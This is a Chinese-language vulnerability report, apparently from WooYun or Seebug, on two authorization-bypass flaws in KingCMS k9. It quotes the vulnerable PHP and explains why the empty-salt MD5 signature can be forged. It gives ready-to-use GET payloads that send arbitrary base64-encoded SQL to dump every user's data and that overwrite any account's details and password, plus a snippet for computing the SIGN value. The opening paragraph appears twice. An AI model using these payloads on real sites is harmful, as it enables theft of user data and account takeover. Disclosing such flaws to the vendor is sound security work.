### 简要描述: KingCms最新版(k9)查看、修改所有用户所有信息 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 这里越权涉及到两个方面。 0x00:先来看看如果查看所有会员信息。 问题文件在/api/conn.php ``` $get=$_GET; if(empty($get['jsoncallback'])) exit('非法提交!'); $jsoncallback=$_GET['jsoncallback']; if(empty($_GET['USERID'])) exit($jsoncallback.'('.json_encode(array('error'=>"用户ID不能为空,请求失败!")).')'); $str=new str; $db=new db; $file=new file; if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')'); //验证权限 $sign=$get['SIGN']; unset($get['SIGN'],$get['_'],$get['jsoncallback']); $arr=array(); foreach($get as $key => $val){ $arr[$key]=$key.'='.urlencode($val); } ksort($arr); $param=implode('&',$arr); $sign1=md5($param.kc_config('system.salt')); if($sign!=$sign1) exit($jsoncallback.'('.json_encode(array('error'=>'审核失败,数据不一致!')).')'); $arr=array(); $get=array_map('base64_decode',$get);...
### 简要描述: KingCms最新版(k9)查看、修改所有用户所有信息 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 这里越权涉及到两个方面。 0x00:先来看看如果查看所有会员信息。 问题文件在/api/conn.php ``` $get=$_GET; if(empty($get['jsoncallback'])) exit('非法提交!'); $jsoncallback=$_GET['jsoncallback']; if(empty($_GET['USERID'])) exit($jsoncallback.'('.json_encode(array('error'=>"用户ID不能为空,请求失败!")).')'); $str=new str; $db=new db; $file=new file; if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')'); //验证权限 $sign=$get['SIGN']; unset($get['SIGN'],$get['_'],$get['jsoncallback']); $arr=array(); foreach($get as $key => $val){ $arr[$key]=$key.'='.urlencode($val); } ksort($arr); $param=implode('&',$arr); $sign1=md5($param.kc_config('system.salt')); if($sign!=$sign1) exit($jsoncallback.'('.json_encode(array('error'=>'审核失败,数据不一致!')).')'); $arr=array(); $get=array_map('base64_decode',$get); foreach($get as $key=>$val){ if(substr($key,0,8)=='data_one'){ $arr[$key]=$db->get_one($val); }elseif(substr($key,0,4)=='data'){ $arr[$key]=$db->get($val); }elseif(substr($key,0,5)=='count'){ $res=$db->get($val); $arr[$key]=empty($res[0]['c']) ? 0 : $res[0]['c']; }elseif(substr($key,0,5)=='newid'){ list($table,$id)=explode('|',$val,2); $arr[$key]=$db->newid($table,'',$id); }elseif(substr($key,0,6)=='getdir'){ list($path,$filetype)=explode('|',$val,2); if(empty($filetype)) $filetype='*'; $arr[$key]=$file->getDir($path,$filetype); }elseif(substr($key,0,7)=='getfile'){ $arr[$key]=$file->get($val); }elseif(substr($key,0,6)=='config'){ $arr[$key]=kc_config($val); }elseif(substr($key,0,6)=='isfile'){ $arr[$key]=is_file(ROOT.$val)?1:0; } } ``` 首先要绕过上面代码中的权限判断,其实就是计算出$sign1,然后使$_GET[‘SIGN’]与之相等即可。来看看$sign1是如何计算出来的 ``` foreach($get as $key => $val){ $arr[$key]=$key.'='.urlencode($val); } ksort($arr); $param=implode('&',$arr); $sign1=md5($param.kc_config('system.salt')); ``` 参与计算的参数只有kc_config('system.salt')不是用户输入的,但是kingcms的这个参数是空,此因所有参与计算的参数都是用户输入的,按上面的算法简单计算一下就知道$sign1了,然后输入的$_GET[‘SIGN’]等于$sign1即可绕过权限判断。 然后就执行了数据库查询并把查到的用户信息显示了出来。 Paload(GET提交): ``` /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUICogRlJPTSBraW5nX3VzZXIgIFdIRVJFIHVzZXJpZD0xMDAwNA%3D%3D&data_group=U0VMRUNUIGdpZCxncm91cG5hbWUsbm90ZXMgRlJPTSBraW5nX3VzZXJfZ3JvdXAg&data_group_bind=U0VMRUNUIGdpZCxyZW1vdmVkYXRlIEZST00ga2luZ191c2VyX2dyb3VwX2JpbmQgIFdIRVJFIHVzZXJpZD0xMDAwNA%3D%3D&data_role=U0VMRUNUIHJpZCxyb2xlbmFtZSxub3RlcyBGUk9NIGtpbmdfdXNlcl9yb2xlIA%3D%3D&data_role_bind=U0VMRUNUIHJpZCxyZW1vdmVkYXRlIEZST00ga2luZ191c2VyX3JvbGVfYmluZCAgV0hFUkUgdXNlcmlkPTEwMDA0&jsoncallback=j&SIGN=a9b456412499e56d335b7b340198b957&_=1426775906734 ``` 上面的参数是经过base64编码的,如上面的参数data的value解码以后是SELECT * FROM king_user WHERE userid=10004,通过构造sql语句(修改userid的值,遍历即可),base64编码以后提交,就可以查询所有会员的信息了。如下图 [<img src="https://images.seebug.org/upload/201503/1923551275ae93a89d66078a44923f88bb53443e.jpg" alt="查看副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1923551275ae93a89d66078a44923f88bb53443e.jpg) 0x01:下面看看如何修改所有会员的各种信息。 /user/manage.php ``` 无关代码 $array=array( 'name'=>$_POST['name'], 'tel'=>$_POST['tel'], 'email'=>$_POST['email'], 'qq'=>$_POST['qq'], 'address'=>$_POST['address'], 'qianming'=>$_POST['qianming'], ); if(!empty($_POST['userpass'])) $array['userpass']=md5($_POST['userpass']); if(empty($userid)){ $array['username']=$_POST['username']; $array['regdate']=TIME; $array['date']=TIME; $array['regip']=$str->ip(); $array['ip']=$str->ip(); $userid=$db->insert('%s_user',$array); kc_log(array('userid'=>$u->info['userid'],'app'=>'user','action'=>'USER_NEW','cid'=>$userid)); }else{ $db->update('%s_user',$array,'userid='.$userid); $db->delete('%s_user_group_bind','userid='.$userid); $db->delete('%s_user_role_bind','userid='.$userid); kc_log(array('userid'=>$u->info['userid'],'app'=>'user','action'=>'USER_EDIT','cid'=>$userid)); } 无关代码 ``` 当userid不为空时,就会用提交的内容把该userid对应的用户信息修改,而userid是用户直接提交的。 Payload(get提交): ``` /user/manage.php?jsoncallback=1&_=1&CMD=edit&&METHOD=POST&userid=10004&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&username=test&userpass=test&userpass1=test&role_removedate1=&group_removedate2=&group_removedate3=&group_removedate4=&name=%E6%B5%8B%E8%AF%95&tel=13500000000&email=test%40163.com&qq=1111&address=123&qianming= ``` 其中userid是你要修改的用户的id,可以遍历,参数SIGN是这样计算出来的 ``` <?php $str="10000";//10000即POST参数中的USERID $str.="kingcms.com";//网站域名 $SIGN=md5($str); ?> ``` 过程见下图 [<img src="https://images.seebug.org/upload/201503/19235612afe33420cd25745aefe61a9935143e7d.jpg" alt="修改副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19235612afe33420cd25745aefe61a9935143e7d.jpg) ### 漏洞证明: 见 详细说明